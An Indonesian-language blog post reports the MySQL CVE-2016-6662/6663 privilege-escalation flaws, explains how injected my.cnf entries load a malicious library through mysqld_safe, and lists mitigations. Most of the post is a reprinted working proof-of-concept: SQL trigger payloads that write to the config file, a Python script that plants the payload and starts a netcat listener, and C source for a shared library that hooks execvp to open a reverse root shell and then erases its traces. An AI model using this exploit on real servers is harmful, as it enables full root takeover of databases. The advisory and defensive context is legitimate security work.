Dua zero-day exploit berbahaya baru saja ditemukan pada database terpopuler di dunia, MySQL. Hacker yang memanfaatkan celah ini dapat memperoleh akses database secara penuh, menjadi root dengan mudah. Bahaya sekali kawan…

Adalah om Dawid Golunski asal LegalHackers Polandia yang menemukan celah berbahaya ini. Dua exploit ini dimuat di CVE-2016-6662 dan CVE-2016-6663 dan menyasar seluruh versi MySQL sampai versi terbaru dan juga semua turunan/fork dari MySQL seperti MariaDB dan PerconaDB.

Kawan bisa baca lebih lanjut soal ulasan teknis dan source code dari proof of concept exploit ini disini.

CVE-2016-6662 menyasar kelemahan MySQL di konfigurasi MySQL (my.cnf) yang bisa diinject dengan setting khusus yang disiapkan oleh hacker, dimana kunci kelemahannya ada pada daemon mysqld_safe. Daemon ini digunakan sebagai wrapper untuk banyak sekali paket mysql atau untuk keperluan yang lebih umum (sampai sekarang) yaitu instalasi untuk start services MySQL.

Daemon mysqld_safe di eksekusi sebagai root dan jangan kaget, mysqld (daemon utama dari mysql) menghiraukan seluruh privilege-nya menjadi level mysql user. Seperti dikutip dari om Golunski berikut:

“If an attacker managed to inject a path to their malicious library within the config, they would be able to preload an arbitrary library and thus execute arbitrary code with root privileges when MySQL service is restarted (manually, via a system update, package update, system reboot, etc.)”

Sekilas dari proof of concept yang bisa saya rangkum disini adalah sebagai berikut:
1. inject malicious configuration ke file konfigurasi mysql yang sudah ada dengan permission yang paling lemah namun berguna (seperti konfigurasi yang digunakan/ditulis oleh si mysql user).

Pada tahapan ini, hacker bisa Inject library mysql khusus yang disiapkan menjadi exploit selama-lamanya tanpa ketahuan (kalau tidak jeli) karena exploit berjalan sebagai modul dari MySQL

  1. Membuat file konfigurasi baru dengan MySQL data directory yang bisa ditulisi pada area konfigurasi __default__. Sangat berbahaya, karena untuk membuatnya tidak perlu konfigurasi permission yang khusus.

Masih menggunakan mysqld_safe dan melakukan trik khusus untuk membypass blokade SELECT xxx OUTFILE dari MySQL.

Contohnya:

mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

Hasilnya, setting diatas bisa masuk ke my.cnf (:))

  1. Hacker hanya butuh permission akses SELECT/FILE saja untuk bisa menulisi konfigurasi utama MySQL (di bagian default).

Contoh trigger yang bisa dipakai:

CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `active_table` FOR EACH ROW
BEGIN
   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

" INTO void;   
   set global general_log = off;
END;

heheu, dilanjutkan dengan ini:

SELECT '....trigger_code...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG' 

Dan, trigger diatas akan dieksekusi manakala ada satu kali saja tabel itu diisi data baru (satu kali query INSERT INTO sudah cukup)

Solusi Sementara

Sampai saat berita dan Proof of Concept ini menyebar, Oracle belum merilis patch apapun. Namun untuk MariaDB dan PerconaDB sudah mengeluarkan warning dan patch khusus. Jadi solusi sementara yang bisa dilakukan adalah:

  1. Selalu backup dan restore file my.cnf dengan konfigurasi terbaik yang kita lakukan secara berkala, jaga-jaga jika ada entri baru yang masuk
  2. Update MySQL (menunggu Oracle merilis patch)
  3. Perketat keamanan CMS/Sistem Informasi utamanya pada SQL Injection (ingat, permission select aja udah cukup buat server rusak dg exploit diatas heuheu)
  4. Pindah ke MariaDB atau PerconaDB (sorry to say, Oracle is not too serious developing MySQL. They just bought and touch them when they need…)

Source Code

#!/usr/bin/python

# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of 
# the advisory for details on this vector. 
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
# 
# See full advisory for details:
# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned 😉

intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com

"""

import argparse
import mysql.connector    
import binascii
import subprocess


def info(str):
    print "[+] " + str + "\n"

def errmsg(str):
    print "[!] " + str + "\n"

def shutdown(code):
    if (code==0):
        info("Exiting (code: %d)\n" % code)
    else:
        errmsg("Exiting (code: %d)\n" % code)
    exit(code)


cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 


# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there 😉
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'


# Main Meat

print intro

# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username') 
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB',   required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
                  
args = parser.parse_args()


# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:
    dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:
    errmsg("Failed to connect to the target: {}".format(err))
    shutdown(1)

try:
    cursor = dbconn.cursor()
    cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)

privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:
    print priv[0]
print ""


# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld 
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 
if rc != 0:
    errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
    print error 
    shutdown(2)

# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
    content = f.read()
    hookandrootlib_hex = binascii.hexlify(content)

# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG 
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `poctable` FOR EACH ROW
BEGIN

   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "

# 0ldSQL_MySQL_RCE_exploit got here 🙂

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void;   
   set global general_log = off;

END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n   set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n   select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void;   \\n   set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)

# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)

# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(4)

# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(5)

# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
    cursor = dbconn.cursor()
    cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'"  )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Finally, execute the trigger's payload by inserting anything into `poctable`. 
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)
finally:
    dbconn.close()  # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")

# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember 😉
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""

# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")

# Mission complete, but just for now... Stay tuned 🙂
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")


# Shutdown
shutdown(0)

mysql module:

/*

(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
mysql_hookandroot_lib.c

This is the shared library injected by 0ldSQL_MySQL_RCE_exploit.py exploit.
The library is meant to be loaded by mysqld_safe on mysqld daemon startup
to create a reverse shell that connects back to the attacker's host on
6603 port (mysql port in reverse 😉 and provides a root shell on the
target. 

mysqld_safe will load this library through the following setting:

[mysqld]
malloc_lib=mysql_hookandroot_lib.so

in one of the my.cnf config files (e.g. /etc/my.cnf).

This shared library will hook the execvp() function which is called
during the startup of mysqld process. 
It will then fork a reverse shell and clean up the poisoned my.cnf
file in order to let mysqld run as normal so that:
'service mysql restart' will work without a problem.

Before compiling adjust IP / PORT and config path.


~~
Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


~~
Compilation (remember to choose settings compatible with the remote OS/arch):

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

Disclaimer:

For testing purposes only. Do no harm.

Full advisory URL:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt

*/

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define ATTACKERS_IP "127.0.0.1"
#define SHELL_PORT 6033
#define INJECTED_CONF "/var/lib/mysql/my.cnf"

char* env_list[] = { "HOME=/root", NULL };
typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);
static execvp_func_t old_execvp = NULL;


// fork & send a bash shell to the attacker before starting mysqld
void reverse_shell(void) {

    int i; int sockfd;
    //socklen_t socklen;
    struct sockaddr_in srv_addr;
    srv_addr.sin_family = AF_INET; 
    srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port
    srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip 

    // create new TCP socket && connect
    sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
    connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
	
    for(i = 0; i <= 2; i++) dup2(sockfd, i);
    execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );

    exit(0);
}


/*
 cleanup injected data from the target config before it is read by mysqld
 in order to ensure clean startup of the service

 The injection (if done via logging) will start with a line like this:

 /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:

*/

int config_cleanup() {

    FILE *conf;
    char buffer[2000];
    long cut_offset=0;

    conf = fopen(INJECTED_CONF, "r+");
    if (!conf) return 1;

    while (!feof(conf)) {
       fgets(buffer, sizeof(buffer), conf);
       if (strstr(buffer,"/usr/sbin/mysqld, Version")) {
	  cut_offset = (ftell(conf) - strlen(buffer));
       }

    }
    if (cut_offset>0) ftruncate(fileno(conf), cut_offset);
    fclose(conf);
    return 0;

}


// execvp() hook
int execvp(const char* filename, char* const argv[]) {

    pid_t  pid;
    int fd;

    // Simple root PoC (touch /root/root_via_mysql)
    fd = open("/root/root_via_mysql", O_CREAT);
    close(fd);

    old_execvp = dlsym(RTLD_NEXT, "execvp");

    // Fork a reverse shell and execute the original execvp() function
    pid = fork();
    if (pid == 0) 
          reverse_shell();

    // clean injected payload before mysqld is started
    config_cleanup();
    return old_execvp(filename, argv);
}

Sumber:
– LegalHackers.com (http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html)
– The Hacker News (http://thehackernews.com/2016/09/hack-mysql-database.html)